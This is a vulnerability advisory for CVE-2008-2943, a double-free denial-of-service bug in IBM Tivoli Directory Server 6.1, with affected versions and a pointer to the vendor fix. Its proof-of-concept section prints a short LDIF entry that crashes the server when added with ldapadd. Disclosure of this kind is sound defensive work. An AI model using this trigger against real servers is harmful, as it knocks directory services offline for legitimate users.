IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

BID:30010

Info

IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

Bugtraq ID: 30010
Class: Design Error
CVE: CVE-2008-2943
Remote: Yes
Local: No
Published: Jun 30 2008 12:00AM
Updated: May 07 2015 05:27PM
Credit: The vendor disclosed this vulnerability.
Vulnerable: IBM Tivoli Directory Server 6.1 .9
IBM Tivoli Directory Server 6.1 .8
IBM Tivoli Directory Server 6.1 .7
IBM Tivoli Directory Server 6.1 .6
IBM Tivoli Directory Server 6.1 .5
IBM Tivoli Directory Server 6.1 .4
IBM Tivoli Directory Server 6.1 .3
IBM Tivoli Directory Server 6.1 .2
IBM Tivoli Directory Server 6.1 .15
IBM Tivoli Directory Server 6.1 .14
IBM Tivoli Directory Server 6.1 .13
IBM Tivoli Directory Server 6.1 .12
IBM Tivoli Directory Server 6.1 .11
IBM Tivoli Directory Server 6.1 .10
IBM Tivoli Directory Server 6.1 .1
IBM Tivoli Directory Server 6.1 .0
Not Vulnerable:

Discussion

IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

IBM Tivoli Directory Server is prone to a denial-of-service vulnerability because the server contains a double-free error.

An attacker can exploit this issue to crash the affected server with a SIGSEGV fault, denying service to legitimate users.

Tivoli Directory Server 6.1.0.0 - 6.1.0.15 are affected.

Exploit / POC

IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

An attacker can exploit this issue by using standard network utilities.

The following 'ldapadd' entry is sufficient to trigger the issue:

dn: globalGroupName=GlobalAdminGroup,cn=ibmpolicies
globalGroupName: GlobalAdminGroup
objectclass: top
objectclass: ibm-globalAdminGroup

Solution / Fix

IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

Solution:
The vendor has released an update. Please see the references for more information.


IBM Tivoli Directory Server 6.1 .14

IBM Tivoli Directory Server 6.1 .10

IBM Tivoli Directory Server 6.1 .2

IBM Tivoli Directory Server 6.1 .15

IBM Tivoli Directory Server 6.1 .12

IBM Tivoli Directory Server 6.1 .7

IBM Tivoli Directory Server 6.1 .4

IBM Tivoli Directory Server 6.1 .13

IBM Tivoli Directory Server 6.1 .9

IBM Tivoli Directory Server 6.1 .0

IBM Tivoli Directory Server 6.1 .8

IBM Tivoli Directory Server 6.1 .5

IBM Tivoli Directory Server 6.1 .1

IBM Tivoli Directory Server 6.1 .11

IBM Tivoli Directory Server 6.1 .6

IBM Tivoli Directory Server 6.1 .3

References

IBM Tivoli Directory Server Adding 'ibm-globalAdminGroup' Entry Denial of Service Vulnerability

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